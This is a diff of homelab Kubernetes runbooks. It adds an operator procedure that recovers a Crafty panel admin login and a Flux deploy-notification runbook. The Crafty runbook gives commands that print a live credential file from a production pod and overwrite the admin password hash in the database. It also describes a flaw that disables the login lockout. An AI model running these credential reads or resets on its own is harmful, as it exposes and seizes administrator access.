Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,179 @@
|
|||||||
|
# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
|
||||||
|
|
||||||
|
**Not alert-driven.** This is an operator procedure, linked from
|
||||||
|
[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
|
||||||
|
first time, rotating that credential, and recovering when it is lost.
|
||||||
|
|
||||||
|
> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
|
||||||
|
> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
|
||||||
|
> transcript.)
|
||||||
|
|
||||||
|
## What this means here
|
||||||
|
|
||||||
|
`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
|
||||||
|
Keycloak's:
|
||||||
|
|
||||||
|
1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
|
||||||
|
2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
|
||||||
|
sidecar's identity headers, so it shows its own login page to an already-authenticated user.
|
||||||
|
|
||||||
|
So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
|
||||||
|
the real question is only ever *which* of the two rejected you. They fail differently:
|
||||||
|
|
||||||
|
| Where you are | What you see | Which layer |
|
||||||
|
|---|---|---|
|
||||||
|
| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
|
||||||
|
| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
|
||||||
|
| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
|
||||||
|
|
||||||
|
The third row is the one that blocks setup, because **nothing in the UI tells you where that password
|
||||||
|
comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
|
||||||
|
(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
|
||||||
|
`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
|
||||||
|
It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
|
||||||
|
random password, and the old one is gone with the old volume.
|
||||||
|
|
||||||
|
Two things that are *not* the problem, both verified live:
|
||||||
|
|
||||||
|
- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
|
||||||
|
`get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
|
||||||
|
`self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
|
||||||
|
differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
|
||||||
|
you have — the `platform-admins` gate is what limits who reaches the form at all.)
|
||||||
|
- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
|
||||||
|
a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
|
||||||
|
|
||||||
|
## First commands
|
||||||
|
|
||||||
|
`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
|
||||||
|
`dev.sh` picks a current-context **per invocation**, so always name the context.
|
||||||
|
|
||||||
|
**1. Is the pod healthy, and is the password still the generated one?**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c '
|
||||||
|
kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
|
||||||
|
kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
|
||||||
|
import sqlite3
|
||||||
|
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
|
||||||
|
for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
|
||||||
|
print(\"created :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
|
||||||
|
"'
|
||||||
|
```
|
||||||
|
|
||||||
|
Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
|
||||||
|
`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
|
||||||
|
*Reset*.
|
||||||
|
|
||||||
|
**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
|
||||||
|
```
|
||||||
|
|
||||||
|
The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
|
||||||
|
|
||||||
|
**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
|
||||||
|
supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
|
||||||
|
and check `last_update` has moved away from `created`.
|
||||||
|
|
||||||
|
## Likely causes, most likely first
|
||||||
|
|
||||||
|
1. **You never had the password.** By far the most common, and the reason this runbook exists. The
|
||||||
|
credential was only ever on the PVC. → commands 1–3 above.
|
||||||
|
2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
|
||||||
|
value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
|
||||||
|
3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
|
||||||
|
servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
|
||||||
|
`default-creds.txt` from the new pod; do not expect the old credential to work.
|
||||||
|
4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
|
||||||
|
before touching any password:
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
|
||||||
|
```
|
||||||
|
`[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
|
||||||
|
its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
|
||||||
|
means the session cookie is not surviving — see *cookie isolation* in
|
||||||
|
`platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
|
||||||
|
proxy's, or the two evict each other.
|
||||||
|
5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
|
||||||
|
|
||||||
|
## Reset when the password is unknown
|
||||||
|
|
||||||
|
Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
|
||||||
|
existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
|
||||||
|
mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
|
||||||
|
history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
|
||||||
|
password is generated in-pod rather than passed in.)
|
||||||
|
|
||||||
|
Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
|
||||||
|
so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
|
||||||
|
action**, not an agent action.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
|
||||||
|
import os, secrets, sqlite3, string, datetime
|
||||||
|
from argon2 import PasswordHasher
|
||||||
|
pw = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
|
||||||
|
now = datetime.datetime.now()
|
||||||
|
c = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
|
||||||
|
cur = c.execute(
|
||||||
|
\"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
|
||||||
|
(PasswordHasher().hash(pw), str(now),
|
||||||
|
str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
|
||||||
|
)
|
||||||
|
c.commit()
|
||||||
|
print(\"rows updated:\", cur.rowcount)
|
||||||
|
out = \"/crafty/app/config/reset-creds.txt\"
|
||||||
|
open(out, \"w\").write(pw + chr(10))
|
||||||
|
os.chmod(out, 0o600)
|
||||||
|
print(\"new password written to\", out)
|
||||||
|
"'
|
||||||
|
```
|
||||||
|
|
||||||
|
Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
|
||||||
|
# after signing in and rotating:
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
|
||||||
|
```
|
||||||
|
|
||||||
|
`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
|
||||||
|
`password` column) and retry against the right one:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c \
|
||||||
|
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
|
||||||
|
import sqlite3
|
||||||
|
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
|
||||||
|
print([r[0] for r in c.execute(\"SELECT username FROM users\")])
|
||||||
|
"'
|
||||||
|
```
|
||||||
|
|
||||||
|
`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
|
||||||
|
retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
|
||||||
|
costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
|
||||||
|
|
||||||
|
## When to escalate or stop
|
||||||
|
|
||||||
|
- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
|
||||||
|
bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
|
||||||
|
the PVC.
|
||||||
|
- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
|
||||||
|
reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
|
||||||
|
- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
|
||||||
|
every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
|
||||||
|
by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
|
||||||
|
`/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
|
||||||
|
- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
|
||||||
|
`runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
|
||||||
|
is an IdP or client-secret problem and no Crafty password will help.
|
||||||
|
- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
|
||||||
|
hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
|
||||||
|
you think it is. Record what you measured rather than guessing.
|
||||||
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
## What this means here
|
## What this means here
|
||||||
|
|
||||||
Something in the GitOps chain is stuck at Ready=False. On this cluster that is more consequential than
|
Something in the GitOps chain is stuck at Ready=False. On this cluster that is more consequential than
|
||||||
it sounds, because **`git push origin main` IS the deploy** — there is no other apply step. A stuck
|
it sounds, because **merging a PR into `main` IS the deploy** — there is no other apply step. A stuck
|
||||||
Kustomization means git and the cluster have diverged and nothing will close the gap.
|
Kustomization means git and the cluster have diverged and nothing will close the gap.
|
||||||
|
|
||||||
The chain has **14 tiers**: `flux-system` → `cilium` → `platform` → `platform-config` →
|
The chain has **14 tiers**: `flux-system` → `cilium` → `platform` → `platform-config` →
|
||||||
@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,118 @@
|
|||||||
|
# flux-rollout — a git change is rolling out, or has stopped halfway
|
||||||
|
|
||||||
|
**Alerts:** `FluxRolloutInProgress` (info, no `for:`) and `FluxRolloutStuck` (warning, 30m)
|
||||||
|
**File:** `platform/monitoring/alerts.yaml`, group `platform-health.flux`
|
||||||
|
**Metrics:** `kube_flux_kustomization_info` / `kube_flux_kustomization_suspended` /
|
||||||
|
`kube_flux_gitrepository_info` — kube-state-metrics custom-resource-state, configured in
|
||||||
|
`platform/monitoring/kube-prometheus-stack.yaml`
|
||||||
|
|
||||||
|
## What this means here
|
||||||
|
|
||||||
|
These two are the **deploy notification**, not a fault report. On this cluster merging a PR into
|
||||||
|
`main` IS the deploy, and until this pair existed nothing told you a deploy had begun: the Flux event
|
||||||
|
stream emits `ReconciliationSucceeded` on every 10-minute tick whether or not anything changed (101
|
||||||
|
such events in one hour, measured 2026-09-29), so "applying a commit" and "idle" looked identical.
|
||||||
|
|
||||||
|
The pair reads the one signal that moves only when git moves — the **applied revision**:
|
||||||
|
|
||||||
|
- `GitRepository/flux-system` `.status.artifact.revision` — what `main` is (polled every 1m)
|
||||||
|
- `Kustomization/*` `.status.lastAppliedRevision` — what each tier has actually applied
|
||||||
|
|
||||||
|
**`FluxRolloutInProgress` fires** the moment any non-suspended Kustomization's applied revision is
|
||||||
|
not the revision fetched from `main`, and **clears when every one of them has caught up**. So:
|
||||||
|
|
||||||
|
| Mail | Subject | Means |
|
||||||
|
|---|---|---|
|
||||||
|
| firing | `[FLUX] applying — FluxRolloutInProgress` | a commit started rolling out |
|
||||||
|
| resolved | `[FLUX] applied — FluxRolloutInProgress` | every Kustomization reached it; rollout complete |
|
||||||
|
|
||||||
|
Both are expected, routine, and not a problem. The `severity: info` label routes them to the
|
||||||
|
dedicated `email-deploy` Alertmanager receiver so they never arrive subject-lined `[WARNING]`.
|
||||||
|
|
||||||
|
**`FluxRolloutStuck` is the one that matters.** Same expression, `for: 30m`, `severity: warning`. It
|
||||||
|
means a deploy started and did not converge — the "applying" mail arrived and the "applied" mail
|
||||||
|
never did. The 14-tier chain is dependency-ordered and revision-gated, so a single stalled tier holds
|
||||||
|
every tier below it on "dependency not ready".
|
||||||
|
|
||||||
|
## First commands
|
||||||
|
|
||||||
|
`kubectl` does not work on the workstation — the toolchain lives only in the pinned container, and
|
||||||
|
the context must always be named explicitly.
|
||||||
|
|
||||||
|
Which tiers are behind, and on what:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c '
|
||||||
|
kubectl --context k3s-prod -n flux-system get gitrepository flux-system \
|
||||||
|
-o jsonpath="WANTED: {.status.artifact.revision}{\"\n\"}"
|
||||||
|
kubectl --context k3s-prod get kustomizations -A \
|
||||||
|
-o custom-columns="NAME:.metadata.name,APPLIED:.status.lastAppliedRevision,READY:.status.conditions[?(@.type==\"Ready\")].status"'
|
||||||
|
```
|
||||||
|
|
||||||
|
Any row whose `APPLIED` differs from `WANTED` is a tier this alert is naming. Then ask **why** that
|
||||||
|
tier is not moving — its Ready condition carries the reason:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c '
|
||||||
|
kubectl --context k3s-prod -n flux-system get kustomization <name> \
|
||||||
|
-o jsonpath="{range .status.conditions[*]}{.type}={.status} {.reason}: {.message}{\"\n\"}{end}"'
|
||||||
|
```
|
||||||
|
|
||||||
|
Confirm the alert is reading live data rather than a stale exporter:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c '
|
||||||
|
POD=$(kubectl --context k3s-prod -n monitoring get pod -l app.kubernetes.io/name=prometheus -o name | head -1)
|
||||||
|
kubectl --context k3s-prod -n monitoring exec "$POD" -c prometheus -- \
|
||||||
|
/bin/promtool query instant http://localhost:9090 "count by (__name__) ({__name__=~\"kube_flux.*\"})"'
|
||||||
|
```
|
||||||
|
|
||||||
|
Three names must come back (`kube_flux_kustomization_info`, `kube_flux_kustomization_suspended`,
|
||||||
|
`kube_flux_gitrepository_info`). If that query is **empty**, the alerts are inert — go to the last
|
||||||
|
cause below.
|
||||||
|
|
||||||
|
## Likely causes, most likely first
|
||||||
|
|
||||||
|
1. **Nothing is wrong — the rollout is simply in flight.** Most Kustomizations reconcile on a 10m
|
||||||
|
interval and the chain is sequential, so several minutes between the "applying" and "applied"
|
||||||
|
mails is normal. `cilium` is on a 1h interval and can legitimately be the last to converge.
|
||||||
|
2. **A gating tier is unhealthy, so everything below it is parked.** Look for `DependencyNotReady`
|
||||||
|
in the stuck tier's message and walk *up* the chain to the first tier that is not Ready; that one
|
||||||
|
is the real fault. Its own alert (`FluxReconciliationFailure`) and runbook `flux-reconcile` own it.
|
||||||
|
3. **A Kustomization is suspended.** A suspended tier is excluded from this alert by design (so it
|
||||||
|
cannot hold the "applied" mail open forever), but anything that `dependsOn` it still stalls and
|
||||||
|
*will* show here. `FluxResourceSuspended` / runbook `flux-suspended` covers it.
|
||||||
|
4. **A health check is timing out.** A `wait: true` tier only records `lastAppliedRevision` once its
|
||||||
|
objects pass health checks, so a workload that never goes Ready keeps the tier on the old
|
||||||
|
revision even though the manifests applied fine.
|
||||||
|
5. **kube-state-metrics is not publishing the `kube_flux_*` family.** Then the rules are inert and
|
||||||
|
you would get *no* mail at all rather than a stuck one — so this is the cause when the complaint
|
||||||
|
is silence. The metrics come from `customResourceState` plus a read-only RBAC rule for
|
||||||
|
`kustomize.toolkit.fluxcd.io` / `source.toolkit.fluxcd.io`; without that RBAC, KSM emits the set
|
||||||
|
**empty** and logs a forbidden error. Check its logs:
|
||||||
|
```bash
|
||||||
|
./infra/devcontainer/dev.sh run bash -c '
|
||||||
|
kubectl --context k3s-prod -n monitoring logs deploy/kube-prometheus-stack-kube-state-metrics \
|
||||||
|
--tail=50 | grep -i "forbidden\|custom.resource" || echo "no RBAC complaints"'
|
||||||
|
```
|
||||||
|
Note the chart puts **no checksum annotation** over that ConfigMap, so a change to the config
|
||||||
|
alone does not restart the pod — that is why `podAnnotations` carries a
|
||||||
|
`homelab.keithjackson.dev/crs-config-rollout` counter that must be bumped in the same commit.
|
||||||
|
|
||||||
|
## When to escalate or stop
|
||||||
|
|
||||||
|
- **`FluxRolloutInProgress` alone, cleared within ~15 minutes: do nothing.** That is the feature
|
||||||
|
working. Do not suspend, reconcile or apply anything in response to it.
|
||||||
|
- **`FluxRolloutStuck` firing: fix the upstream fault, not this symptom.** This alert names the
|
||||||
|
tier that is behind; it never names the cause. Walk up to the first non-Ready tier and use
|
||||||
|
`flux-reconcile`.
|
||||||
|
- **Never `kubectl apply`, `edit` or `patch` the change through by hand.** Flux reconciles `main`;
|
||||||
|
a hand-applied object is drift that the next reconcile reverts or, worse, adopts — and it makes
|
||||||
|
the applied-revision signal these alerts read a lie. `flux reconcile` (an operator action, never
|
||||||
|
an agent's) is the only nudge that is safe, and it only *hurries* the same pull.
|
||||||
|
- **Escalate to a revert if a stuck rollout is degrading service.** Reverting the offending commit
|
||||||
|
on `main` through the normal PR flow is the rollback path; see runbook `update-rollback`.
|
||||||
|
- **If both alerts are silent during a deploy you know happened,** the notification itself is broken,
|
||||||
|
not the deploy. That is cause 5 above, and it is worth fixing immediately — silence from these
|
||||||
|
rules is indistinguishable from "no deploys happened", which is the exact defect they were
|
||||||
|
written to close.
|
||||||
@@ -58,8 +58,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -67,8 +67,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -59,8 +59,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -57,8 +57,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -53,8 +53,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
|
||||||
|
green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
|
||||||
|
and it says so.
|
||||||
|
|
||||||
## First commands
|
## First commands
|
||||||
|
|
||||||
|
|||||||
@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
|
|||||||
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
`settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
|
||||||
|
|
||||||
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
|
||||||
agents here: every durable change goes through git (`git push origin main` **is** the deploy).
|
agents here: every durable change goes through git. **`main` is a protected branch — a direct push
|
||||||
Where this runbook gives a mutating command it is for an operator, and it says so.
|
